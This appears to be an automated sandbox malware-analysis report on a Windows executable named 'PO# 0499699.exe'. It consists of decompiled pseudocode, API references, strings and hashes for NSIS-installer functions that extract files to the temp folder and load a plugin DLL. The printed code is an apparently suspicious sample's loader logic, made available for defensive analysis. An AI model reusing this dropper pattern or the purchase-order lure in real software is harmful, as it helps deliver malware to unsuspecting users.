0x0040288e
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
0x00401830
0x00401830
0x00401831
0x0040184e
0x00402894
0x00402894
0x00402894
0x00401833
0x00401833
0x00401834
0x00401492
0x0040220e
0x0040220e
0x0040220e
0x00401831
0x0040182a
0x00402896
0x0040289a
0x0040289a
0x0040185e
0x00401863
0x00401869
0x0040186a
0x0040186b
0x0040186e
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x00402209
0x00000000
0x00402209
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,00423680,NSIS Error), ref: 004059EA

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Strings

C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll, xrefs: 00401801, 0040181D
C:\Users\user\AppData\Local\Temp\nspE538.tmp, xrefs: 0040177E, 004017ED, 0040180B
Call, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp, xrefs: 00401761

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nspE538.tmp$C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll$Call
API String ID: 1941528284-4279908120
Opcode ID: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction ID: 7896ef4f757b45501086316f909c91b804aeab5b8a53035332c5850d51b772f7
Opcode Fuzzy Hash: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction Fuzzy Hash: FA41C272900615BACF10BBA5DD46EAF3A79EF01329B20433BF515F11E1D63C4A419AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E5B(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				int _t66;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f020;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					E00403080( *0x423ed8 + _t60);
				}
				_t62 = E0040304E( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E0040304E(0x40b020, _t98) == 0) {
									goto L34;
								} else {
									_t66 = WriteFile(_a8, 0x40b020, _t98,  &_a12, 0); // executed
									if(_t66 == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E0040304E(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00405DD9(0x40af90);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E0040304E(0x40b020, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40afa8 = 0x40b020;
						 *0x40afac = _t99;
						while(1) {
							 *0x40afb0 = _t88;
							 *0x40afb4 = _v12; // executed
							_t74 = E00405DF9(0x40af90); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40afb0; // 0x40f020
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423f34 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404D7B(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_t88 =  *0x40afb0; // 0x40f020
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e63
0x00402e67
0x00402e6a
0x00402e6f
0x00402e71
0x00402e71
0x00402e78
0x00402e7c
0x00402e80
0x00402e82
0x00402e82
0x00402e87
0x00402e8c
0x00402e97
0x00402e97
0x00402ea2
0x00402ea9
0x00402ff9
0x00402ff9
0x00000000
0x00402eaf
0x00402eb3
0x00402fe4
0x00403039
0x00402ffe
0x00403004
0x00403006
0x00403006
0x00403017
0x00000000
0x00403019
0x00403024
0x0040302c
0x00402fde
0x00402fde
0x00402ffb
0x00402ffb
0x00000000
0x00403033
0x00403033
0x00403036
0x00000000
0x00403036
0x0040302c
0x00403017
0x00403044
0x00000000
0x00403044
0x00402fe9
0x00402feb
0x00402feb
0x00402ff7
0x00403041
0x00000000
0x00000000
0x00000000
0x00000000
0x00402ff7
0x00402ec4
0x00402ec7
0x00402ecc
0x00402ecc
0x00402ed6
0x00402ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00402edf
0x00402edf
0x00402edf
0x00402ee7
0x00402ee9
0x00402ee9
0x00402efa
0x00000000
0x00000000
0x00402f00
0x00402f03
0x00402f09
0x00402f0f
0x00402f17
0x00402f1d
0x00402f22
0x00402f29
0x00402f2c
0x00000000
0x00000000
0x00402f32
0x00402f38
0x00402f3a
0x00402f47
0x00402f49
0x00402f77
0x00402f7d
0x00402f86
0x00402f8b
0x00402f8b
0x00402f92
0x00402fd2
0x00000000
0x00000000
0x00000000
0x00402f94
0x00402f97
0x00402fb7
0x00402fba
0x00402fbd
0x00402fc3
0x00402fc7
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fa3
0x00402fab
0x00000000
0x00402fb2
0x00402fb2
0x00000000
0x00402fb2
0x00402fab
0x00402f92
0x00402fda
0x00000000
0x00402fda
0x00000000
0x00402edf

APIs

GetTickCount.KERNEL32 ref: 00402EB9
GetTickCount.KERNEL32 ref: 00402F3A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F67
wsprintfA.USER32 ref: 00402F77
WriteFile.KERNELBASE(00000000,00000000,0040F020,00000000,00000000), ref: 00402FA3

Strings

... %d%%, xrefs: 00402F71

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction ID: 77f196e3f4de2b0f7ff2a56d5fa3bb7e3b28ee40e2402e388f788a2720e93e15
Opcode Fuzzy Hash: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction Fuzzy Hash: F151917190121A9BCF10CF55DA48AAF7B78AF04795F10413BF810B72C0D7B89E50DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029F6(0xfffffff0);
				_t10 = E00405564(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E004054FB(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004059DD("C:\\Users\\jones\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x00402164
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x0040288e
0x0040289a

APIs

Part of subcall function 00405564: CharNextA.USER32(00405316,?,00421880,00000000,004055C8,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000), ref: 00405572
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405577
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405586

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-47812868
Opcode ID: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction ID: ffaaac8e814952d4dd163c137c14166a37b00a477d69e33f5cc6849720afcf5a
Opcode Fuzzy Hash: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction Fuzzy Hash: 86010831908180ABDB116F795D44D6F27B0DA52365728473BF491B22E2C23C4942962E

Uniqueness

Uniqueness Score: -1.00%

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056E3(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x004056e7
0x004056ed
0x004056ee
0x004056ee
0x004056ef
0x004056f6
0x00405700
0x0040570d
0x00405710
0x00405718
0x00000000
0x00000000
0x0040571c
0x00000000
0x00000000
0x0040571e
0x00000000
0x0040571e
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004056F6
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405710

Strings

nsa, xrefs: 004056EF
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 004056EA
C:\Users\user\AppData\Local\Temp\, xrefs: 004056E3, 004056E6

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PO# 0499699.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1912948747
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 090c9869d25c952b380026dfe3028592f3e254e5657c021594612e0629f183dd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: AFF0A736348204B7D7104F55EC04B9B7F5DDF91750F14C027F944DA1C0D6B1995597A5

Uniqueness

Uniqueness Score: -1.00%

Function 6FC616DB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6FC616DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v88;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x6fc6405c = _a8;
				 *0x6fc64060 = _a16;
				 *0x6fc64064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6fc64038, E6FC61556);
				_push(1); // executed
				_t37 = E6FC61A98(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E6FC622AF(_t54);
					}
					E6FC622F1(_t67, _t54);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_t37 = E6FC624D8(_t54);
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x818; // 0x818
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E6FC6156B(_t54,  &_v88);
								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
								_t18 = _t54 + 0x818; // 0x818
								_t72 = _t18;
								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
								 *_t72 = 3;
								E6FC624D8(_t54);
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							E6FC624D8(_t54);
							_t37 = GlobalFree(E6FC61266(E6FC61559(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E6FC6249E(_t54);
							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x808);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
								_t37 = E6FC614E2( *0x6fc64058);
							}
						}
						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E6FC62CC3(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E6FC62A38(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E6FC626B2(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x6fc616db
0x6fc616db
0x6fc616db
0x6fc616e5
0x6fc616ed
0x6fc616fa
0x6fc61708
0x6fc6170b
0x6fc6170d
0x6fc61712
0x6fc61717
0x6fc61836
0x6fc61836
0x6fc6171d
0x6fc61721
0x6fc61724
0x6fc61729
0x6fc6172b
0x6fc61731
0x6fc61737
0x6fc61767
0x6fc6176e
0x6fc61792
0x6fc617dd
0x6fc61794
0x6fc61794
0x6fc61795
0x6fc6179b
0x6fc6179c
0x6fc617a6
0x6fc617a9
0x6fc617ae
0x6fc617b5
0x6fc617b5
0x6fc617bc
0x6fc617c2
0x6fc617c8
0x6fc617d5
0x6fc617d6
0x6fc617d9
0x6fc61770
0x6fc61771
0x6fc61786
0x6fc61786
0x6fc617e7
0x6fc617ea
0x6fc617f7
0x6fc617fe
0x6fc61806
0x6fc61809
0x6fc61809
0x6fc61806
0x6fc61816
0x6fc6181e
0x6fc61823
0x6fc61816
0x6fc6182b
0x00000000
0x6fc6182d
0x00000000
0x6fc6182e
0x6fc6182b
0x6fc6173b
0x6fc6173e
0x6fc6175c
0x00000000
0x00000000
0x6fc6175f
0x6fc61764
0x6fc61764
0x6fc61766
0x00000000
0x6fc61766
0x6fc61740
0x6fc61741
0x6fc61749
0x6fc6174a
0x00000000
0x6fc6174a
0x6fc61743
0x6fc61744
0x6fc61752
0x00000000
0x6fc61752
0x6fc61747
0x00000000
0x00000000
0x00000000
0x6fc61747

APIs

Part of subcall function 6FC61A98: GlobalFree.KERNEL32 ref: 6FC61D09
Part of subcall function 6FC61A98: GlobalFree.KERNEL32 ref: 6FC61D0E
Part of subcall function 6FC61A98: GlobalFree.KERNEL32 ref: 6FC61D13

GlobalFree.KERNEL32 ref: 6FC61786
FreeLibrary.KERNEL32(?), ref: 6FC61809
GlobalFree.KERNEL32 ref: 6FC6182E

Part of subcall function 6FC622AF: GlobalAlloc.KERNEL32(00000040,?), ref: 6FC622E0

Part of subcall function 6FC626B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FC61757,00000000), ref: 6FC62782

Part of subcall function 6FC6156B: wsprintfA.USER32 ref: 6FC61599

Strings

, xrefs: 6FC6180F

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 37ca45cb137991f281a3344e9e1890f3051a53620272902994eb405cfa9818c5
Instruction ID: a7bddefb32c44244e1e5416fa01f1e5a8f3ecf2c7adfe324dedf153465b3342b
Opcode Fuzzy Hash: 37ca45cb137991f281a3344e9e1890f3051a53620272902994eb405cfa9818c5
Instruction Fuzzy Hash: 2B417F7150C3059ADF009F7D89D4BE637E8BF05B2AF048466EA159A1D2FF74A049CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F51(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423f38");
				 *(_t34 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x423f08 =  *0x423f08 +  *(_t34 - 4);
					return 0;
				}
				_t32 = E004029F6(0xfffffff0);
				 *(_t34 + 8) = E004029F6(1);
				if( *((intOrPtr*)(_t34 - 0x14)) == __ebx) {
					L3:
					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
					_t30 = _t18;
					if(_t30 == _t27) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
					if(_t33 == _t27) {
						E00404D7B(0xfffffff7,  *(_t34 + 8));
					} else {
						 *(_t34 - 4) = _t27;
						if( *((intOrPtr*)(_t34 - 0x1c)) == _t27) {
							 *_t33( *((intOrPtr*)(_t34 - 0x34)), 0x400, 0x424000, 0x40af50, 0x409000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t34 - 0x1c)));
							if( *_t33() != 0) {
								 *(_t34 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t34 - 0x18)) == _t27 && E004034C6(_t30) != 0) {
						FreeLibrary(_t30); // executed
					}
					goto L16;
				}
				_t26 = GetModuleHandleA(_t32); // executed
				_t30 = _t26;
				if(_t30 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x00401f51
0x00401f51
0x00401f56
0x00401f5d
0x00402019
0x00402164
0x00402164
0x0040288b
0x0040288e
0x0040289a
0x0040289a
0x00401f6c
0x00401f76
0x00401f79
0x00401f88
0x00401f8c
0x00401f92
0x00401f96
0x00402012
0x00000000
0x00402012
0x00401f98
0x00401fa2
0x00401fa6
0x00401fea
0x00401fa8
0x00401fab
0x00401fae
0x00401fde
0x00401fb0
0x00401fb3
0x00401fbc
0x00401fbe
0x00401fbe
0x00401fbc
0x00401fae
0x00401ff2
0x00402007
0x00402007
0x00000000
0x00401ff2
0x00401f7c
0x00401f82
0x00401f86
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction ID: d4347cebb671b603d0a5d412fc90ce50d757f993dc699470b494ace3858b78d6
Opcode Fuzzy Hash: 71306b1134231061c89694e0e173e72c12ff72d2ee8c3f8387a1942ab3f7262f
Instruction Fuzzy Hash: 7221EE72D04216ABCF107FA4DE89A6E75B06B44359F204337F611B52E0D77C4941965E

Uniqueness

Uniqueness Score: -1.00%

Function 00403097, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403097(void* __eflags) {
				void* _t2;
				void* _t5;
				CHAR* _t6;

				_t6 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
				E00405C3F(_t6);
				_t2 = E0040553D(_t6);
				if(_t2 != 0) {
					E004054D0(_t6);
					CreateDirectoryA(_t6, 0); // executed
					_t5 = E004056E3("1033", _t6); // executed
					return _t5;
				} else {
					return _t2;
				}
			}

0x00403098
0x0040309e
0x004030a4
0x004030ab
0x004030b0
0x004030b8
0x004030c4
0x004030ca
0x004030ae
0x004030ae
0x004030ae

APIs

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
